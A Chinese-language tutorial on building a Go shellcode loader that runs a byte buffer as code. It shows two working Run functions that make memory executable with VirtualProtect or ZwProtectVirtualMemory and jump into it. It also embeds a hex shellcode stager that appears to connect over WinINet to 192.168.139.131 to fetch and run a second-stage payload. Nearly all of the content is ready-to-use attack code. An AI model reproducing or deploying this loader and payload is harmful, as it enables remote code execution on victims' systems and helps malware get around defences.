序言
本文假設你知道unsafe包常見函數的用法,若否,請查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html 第13章。
例子和代碼詳解
func Run(sc []byte){ f := func(){} //實例化一個函數,f是指向該函數的指針 //方法1 *(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc)) // (**uintptr)(unsafe.Pointer(&f))是獲取一個指向f指針的指針,並轉化為**uintptr類型, 為*(**uintptr)(unsafe.Pointer(&f))賦值,意為把一個指向函數的指針的指針指向(*uintptr)(unsafe.Pointer(&sc)) //被重新賦值后,相當於把f這個函數指針替換為新值指針,即(*uintptr)(unsafe.Pointer(&sc))這個指針,這樣當后面執行f函數時,相當於執行賦值語句(*uintptr)(unsafe.Pointer(&sc))所指向的區域, //為*(*uintptr)(unsafe.Pointer(&sc)),即sc的值 var oldfperms2 uint32 syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call( //virtualprotect的參數用法可自行百度下面着重理解每個參數的含義 uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))), //(**uintptr)(unsafe.Pointer(&sc))是把指向sc的指針轉為uintptr類型的指針的指針(一個slice中,a []int中的&a地址中保存的內容實際上是指向&a[0]的指針,所以(**uintptr)(unsafe.Pointer(&sc))實際上是一個指向&a[0]的指針 //而*(**uintptr)(unsafe.Pointer(&sc))即為&sc[0],sc實際存儲變量的起始地址位。這個語句實際上等價於uintptr(unsafe.Pointer(&sc[0]))。 //因為uintptr和unsafe.Pointer是可以互轉的,參數類型要求為uintptr,變把地址轉為uintptr格式再傳入,下面uintptr()的作用也一樣 uintptr(uint(len(sc))), //獲取sc的連續地址的長度 uintptr(uint32(0x40)), //更改內存屬性 uintptr(unsafe.Pointer(&oldfperms2))) f() //執行指向了sc的內存 //這里其實還有一種更簡單的執行方法,syscall.sysCall(uintptr(unsafe.Pointer(&sc[0])),0,0,0,0) } func main(){ //v := shellcode ,即除去\x后的字符串 v := "fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8210300004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f4833697900daf064f6eacecfdd541cae73d06014c59e0e0475b3804ee9b6093bf04719505589d350280f4c7db9b7750e02babdf4ad3fdb64621f9ea6978a39f6e87ee42794b8d18088dbfc757e2800557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d5349452031302e303b2057696e646f7773204e5420362e323b2057696e36343b207836343b2054726964656e742f362e30290d0a009c9549000c3c5675aa0ab9fb8e9260cc26850b18310273bae636ef582ee8970bcb75bc33a3d9bbf86f7c7c0c01c96680c164fe6e4cdee9ef277d27ac2b399d55ac2b5b4887790cc1b19e546b5948f5da5344ceb28c64d4cdc47351983aad24c136a14dd267477238dca046d4c554760d78099dc25a44829d7b7f3b11e78e329e1ca78aefd085f0b15685b63d27c289504707fb158a65a0fad964ac91fe889c304dc94634c40b63a73127780a605317ae66b8fa5d684bee7ff710ec3dc8d61e83a52b4453b7eb009f021fdd6e1a066f4d561a5f9f0041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e3133392e3133310012345678"; //把字符串轉為[]byte[]后使用Run加載 a,err := hex.DecodeString(v) if err!= nil{ log.Fatalln() } Run(a) }
如果都能理解下來基本后面要編寫和修改自己的shellcode加載器就沒什么問題了,還有一個shellcode加載的小例子,內存屬性更改的函數所需要參數和上面的VirutalProtect也略有不同,可以嘗試自行理解
//方法2 func Run(sc []byte){ f := func(){} *(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc)) var oldfperms2 uint32 var pBaseAddr = uintptr(unsafe.Pointer(&sc[0])) var hProcess uintptr = 0 var dwBufferLen = uint(len(sc)) syscall.NewLazyDLL("ntdll").NewProc("ZwProtectVirtualMemory").Call( hProcess-1, uintptr(unsafe.Pointer(&pBaseAddr)), uintptr(unsafe.Pointer(&dwBufferLen)), 0x20, uintptr(unsafe.Pointer(&oldfperms2))) f() }
另附一個別人收集的用於加載shellcode的一些方法和使用例子:https://github.com/Ne0nd0g/go-shellcode